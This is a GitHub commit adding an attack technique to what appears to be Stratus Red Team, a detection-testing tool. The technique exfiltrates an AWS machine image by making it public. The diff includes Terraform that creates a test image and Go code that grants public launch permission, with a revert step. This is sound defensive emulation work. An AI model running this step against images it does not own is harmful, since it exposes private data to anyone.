-
Notifications
You must be signed in to change notification settings - Fork 226
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
New attack technique: Exfiltrate an AMI by Making it Public (closes #17)
- Loading branch information
1 parent
3b6e935
commit 08e4308
Showing
6 changed files
with
163 additions
and
0 deletions.
There are no files selected for viewing
24 changes: 24 additions & 0 deletions
24
docs/attack-techniques/AWS/aws.exfiltration.ami-make-public.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
# Exfiltrate an AMI by Making it Public | ||
|
||
Platform: AWS | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Exfiltration | ||
|
||
## Description | ||
|
||
|
||
Exfiltrates an AMI by sharing it publicly. | ||
|
||
Warm-up: Create an AMI. | ||
|
||
Detonation: Share the AMI publicly. | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate aws.exfiltration.ami-make-public | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
78 changes: 78 additions & 0 deletions
78
internal/attacktechniques/aws/exfiltration/ami-make-public/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
package aws | ||
|
||
import ( | ||
"context" | ||
_ "embed" | ||
"errors" | ||
"github.com/aws/aws-sdk-go-v2/aws" | ||
"github.com/aws/aws-sdk-go-v2/service/ec2" | ||
"github.com/aws/aws-sdk-go-v2/service/ec2/types" | ||
"github.com/datadog/stratus-red-team/internal/providers" | ||
"github.com/datadog/stratus-red-team/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/pkg/stratus/mitreattack" | ||
"log" | ||
) | ||
|
||
//go:embed main.tf | ||
var tf []byte | ||
|
||
func init() { | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: "aws.exfiltration.ami-make-public", | ||
FriendlyName: "Exfiltrate an AMI by Making it Public", | ||
Description: ` | ||
Exfiltrates an AMI by sharing it publicly. | ||
Warm-up: Create an AMI. | ||
Detonation: Share the AMI publicly. | ||
`, | ||
Platform: stratus.AWS, | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration}, | ||
PrerequisitesTerraformCode: tf, | ||
Detonate: detonate, | ||
Revert: revert, | ||
}) | ||
} | ||
|
||
var amiPublicPermissions = []types.LaunchPermission{ | ||
{Group: types.PermissionGroupAll}, | ||
} | ||
|
||
func detonate(params map[string]string) error { | ||
ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection()) | ||
amiId := params["ami_id"] | ||
|
||
log.Println("Exfiltrating AMI " + amiId + " by sharing it publicly") | ||
_, err := ec2Client.ModifyImageAttribute(context.Background(), &ec2.ModifyImageAttributeInput{ | ||
ImageId: aws.String(amiId), | ||
LaunchPermission: &types.LaunchPermissionModifications{ | ||
Add: amiPublicPermissions, | ||
}, | ||
}) | ||
|
||
if err != nil { | ||
return errors.New("Unable to share AMI publicly: " + err.Error()) | ||
} | ||
|
||
return nil | ||
} | ||
|
||
func revert(params map[string]string) error { | ||
ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection()) | ||
amiId := params["ami_id"] | ||
|
||
log.Println("Reverting exfiltration of AMI " + amiId + " by removing public sharing") | ||
_, err := ec2Client.ModifyImageAttribute(context.Background(), &ec2.ModifyImageAttributeInput{ | ||
ImageId: aws.String(amiId), | ||
LaunchPermission: &types.LaunchPermissionModifications{ | ||
Remove: amiPublicPermissions, | ||
}, | ||
}) | ||
|
||
if err != nil { | ||
return errors.New("Unable to remove AMI public permissions: " + err.Error()) | ||
} | ||
|
||
return nil | ||
} |
57 changes: 57 additions & 0 deletions
57
internal/attacktechniques/aws/exfiltration/ami-make-public/main.tf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
terraform { | ||
required_providers { | ||
aws = { | ||
source = "hashicorp/aws" | ||
version = "~> 3.71.0" | ||
} | ||
} | ||
} | ||
provider "aws" { | ||
skip_region_validation = true | ||
skip_credentials_validation = true | ||
skip_get_ec2_platforms = true | ||
skip_metadata_api_check = true | ||
default_tags { | ||
tags = { | ||
StratusRedTeam = true | ||
} | ||
} | ||
} | ||
|
||
data "aws_availability_zones" "available" { | ||
state = "available" | ||
} | ||
|
||
resource "aws_ebs_volume" "volume" { | ||
availability_zone = data.aws_availability_zones.available.names[0] | ||
size = 1 | ||
|
||
tags = { | ||
Name = "StratusRedTeamVolumeForAmi" | ||
} | ||
} | ||
|
||
resource "aws_ebs_snapshot" "snapshot" { | ||
volume_id = aws_ebs_volume.volume.id | ||
} | ||
|
||
|
||
resource "aws_ami" "ami" { | ||
name = "stratus-red-team-ami" | ||
virtualization_type = "hvm" | ||
root_device_name = "/dev/xvda" | ||
|
||
ebs_block_device { | ||
device_name = "/dev/xvda" | ||
snapshot_id = aws_ebs_snapshot.snapshot.id | ||
volume_size = 1 | ||
} | ||
} | ||
|
||
output "ami_id" { | ||
value = aws_ami.ami.id | ||
} | ||
|
||
output "display" { | ||
value = format("AMI %s is ready", aws_ami.ami.id) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters